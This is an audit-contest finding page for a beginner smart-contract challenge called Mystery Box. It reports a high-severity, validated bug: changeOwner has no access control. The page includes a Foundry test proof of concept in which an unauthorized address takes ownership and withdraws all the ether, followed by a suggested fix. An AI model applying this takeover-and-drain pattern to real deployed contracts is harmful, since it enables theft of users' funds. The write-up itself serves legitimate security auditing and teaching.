Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

[H-01] Critical Ownership Takeover via `changeOwner` Function Allows Unauthorized control of the smart contract

[H-1] Critical Ownership Takeover via changeOwner Function Allows Unauthorized Fund Withdrawal

Description:

Impact: Total loss of control and funds

Proof of Concept:

function testUnathourizedChangeOfOwnership() public{
address unathourizedUser = makeAddr('user3');
mysteryBox.changeOwner(unathourizedUser);
vm.prank(unathourizedUser);
uint256 boxBalanceBefore = address(mysteryBox).balance;
console.log("Amount in contract: ", boxBalanceBefore);
//unauthourized user withdraws all ether in the contract and
//mysteryBox.balance() should be zero
mysteryBox.withdrawFunds();
//uint256 boxBalanceAfter = mysteryBox.balance();
assertEq(mysteryBox.owner(), unathourizedUser);
assertEq(address(mysteryBox).balance, 0);
}

Recommended Mitigation:

Only owner should be be able to call the changeOwnerfunction

function changeOwner(address _newOwner) public {
require(msg.sender== owner, "Only owner can call this function")
owner = _newOwner;
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!